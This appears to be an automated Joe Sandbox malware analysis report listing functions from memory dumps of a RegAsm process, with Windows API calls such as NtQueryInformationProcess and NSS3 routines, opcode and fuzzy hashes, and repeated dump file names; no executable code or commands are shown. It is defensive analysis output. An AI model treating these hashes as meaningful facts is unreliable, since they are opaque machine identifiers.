Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 5f5fd8ef44f39c1f73c39069a90f72eb9a8634a4bd4a433b8a4a7d6a4472c91d
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 19919E75A0121A8FCB14CF68C8916AFB7F1FF85324F24462DD962A7BC4D730A949CB61

Function 0041C0B3 Relevance: 3.1, APIs: 2, Instructions: 63timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,759183C0,00000000,?,?,?,?,?,?,?,?,0041C56E,?), ref: 0041C108
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,0041C56E,?), ref: 0041C116

Part of subcall function 0041B8F4: FileTimeToSystemTime.KERNEL32(?,?,?,?,0041C1DB,?,?,?,?,?,?,?,?,?,?,0041C57E), ref: 0041B90C

Part of subcall function 0041B8D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041B8ED

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 8e96eda33c1505b5cb7bc4e21005d4a77a0bbf5f93ae5266ba477922d85a3d56
Instruction ID: 5648f3338fcf0c611255aa2009218cd94514fe9b030d41c15c9d38c7c57d1798
Opcode Fuzzy Hash: 8e96eda33c1505b5cb7bc4e21005d4a77a0bbf5f93ae5266ba477922d85a3d56
Instruction Fuzzy Hash: 0921E6B19002199FCF44DF6998806EE7BF4FF08700F1440BAE848EA216E7758945DFA4

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 6C2BED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C2BEE3D

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: d9b6cccd259120d62709886a759ecd9169d9c8590475b04adb2e5bdf446c51f7
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6B71F572E0170A8FD718CF19C88066AB7F2BF88358F14866DEC59A7791D730E900CB91

Function 6C1BAC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

g/, xrefs: 6C1BAC1B

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID:
String ID: g/
API String ID: 0-2179982415
Opcode ID: 20ac56fe434e3c4654734307c665f765c22a866eebf76fc10b31ec865b101c6a
Instruction ID: b0da39984c80ed77718f2f1f99351e1960f7387ee79e6b370c6c33394132f4ce
Opcode Fuzzy Hash: 20ac56fe434e3c4654734307c665f765c22a866eebf76fc10b31ec865b101c6a
Instruction Fuzzy Hash: 61F169716087459FD700CE28C8903AEB7E2AFD5318F158A2DE9D4A7781E374D889CF92

Function 0042B526 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_0002B191,00000001), ref: 0042B53F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: fa7713706b92265edf7284d656e89a0b8785a33ca4ac300ce816b73ba882c0aa
Instruction ID: 0ec7358b732ede5105eed642336a5cfbd84edb936fe00fdd6678379c67c1f716
Opcode Fuzzy Hash: fa7713706b92265edf7284d656e89a0b8785a33ca4ac300ce816b73ba882c0aa
Instruction Fuzzy Hash: 38D0A771B107106BD7204F34ED497F177E0FB10B16F70994EDC96490C0D7B865D58648

Function 004275FE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000275BC), ref: 00427603

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3cc0531968f4e180a7fd2320878c42a1e3eb0eb3d6bf9af3f5633b4c02aa09c4
Instruction ID: 63115001a4db144823976550ef90439480f9778a13470c8a0de4e09096864752
Opcode Fuzzy Hash: 3cc0531968f4e180a7fd2320878c42a1e3eb0eb3d6bf9af3f5633b4c02aa09c4
Instruction Fuzzy Hash: C89002A035E260968A0117706C1D61575906A48706B952565A001C4458DB954041592D

Function 0042CCFE Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d97accdddca180c2f40f6d409125112d32350cdc4eef304a9b7ee57281d0ee6
Instruction ID: e00910e933ab2ef9a4cbdcbbaa8b2a31cbc473e9754d222f0bc3ce1d9ce70c54
Opcode Fuzzy Hash: 8d97accdddca180c2f40f6d409125112d32350cdc4eef304a9b7ee57281d0ee6
Instruction Fuzzy Hash: 85020B33F4A6B24B8B314EB918D023B7FA15E0274035F46EADDC07F296C11ADD1696E8

Function 0042DCEB Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: d318264e77421e9267015276f2a8dfcd5761b41bd43a07833cbb014bbbf2d737
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 9EC1A473E1F8B2058735852E281823FFE626E92B4135FC3E2DCD03F689C62A6D1595D8

Function 0042D903 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 3fbca489f381264aebb184a0a397bcce3beead14cfa5f194209987443fc4315a
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: FDC1A573E0F5B2058B35852D281823FFEA26E92B4135FC3A2DCD03F789C62A6D5595D8

Function 0042D531 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: c496c0f25bda5420686e2ce4e5d768a888ba3d4f5808aaf1ff36246485dadc71
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 17C19573E0F5B2098776852D181823FFE626E82B4135FC3A6CCD03F789C62A6D5596D8

Function 0042D193 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: fa940e6918dae386e8be190a1cabb9e84ade6e634dcdf123b1c3a914af071a66
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: ACB1B473E0F4B2458735852D681823FFEA26E92B4135FC3E6CCD03F689C62AAD1595D8

Function 004194D4 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 32e0678ae7d521eec5f47969d2edfa0f4c2d990ef475f2823f6b588e6ce85c84
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: C651D573900115ABEB19CF59C4916E973B2EF94308F2584BEDC4AEF286EB345D41CB58

Function 0041B6DC Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: c23e5ddd6100e53b70c130f987c7a8fa7a43253421f6a33f5d0ed47ca51c7b06
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 7821EB31670AE306CB848FF8FCC015267D1CBCE21B75EC279CE50C9166D16DE66286D4

Function 6C258EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d6d09faf511eeed08b3329591ca38e75a5337d310f7eae8a8d281948b58434d
Instruction ID: c4cc0e6002f5c4a21d4598f0ab4e4839d0c0127ac6bbb6aa0112aa5164466d75
Opcode Fuzzy Hash: 9d6d09faf511eeed08b3329591ca38e75a5337d310f7eae8a8d281948b58434d
Instruction Fuzzy Hash: 2C11B232B5121A8BD704CF15D884B6BB3B5BF45318F8442AAEC068FA41C7B5E896C7C1

Function 6C330C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cf0f02216766066482593d7b1d73b5cbb3c945744b12f7f15f02d1d449ee6bb
Instruction ID: 55627c97d243dfbe3e45918dc52b42413203bc250f59c553b719feeb2892b477
Opcode Fuzzy Hash: 6cf0f02216766066482593d7b1d73b5cbb3c945744b12f7f15f02d1d449ee6bb
Instruction Fuzzy Hash: AE119E757043959FDB00EF29C880AAA77B6FFC5368F148069D8198F701DB72E906CBA1

Function 6C330D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3b368c33971668f994352df1bce3d5870242ea432a227039a8bf322bbaa044b5
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: A8E0923A2020B4A7DB558E09C450AA97399DF81619FB4907DCC9D9FA01D733F8038B91

Function 0040111D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

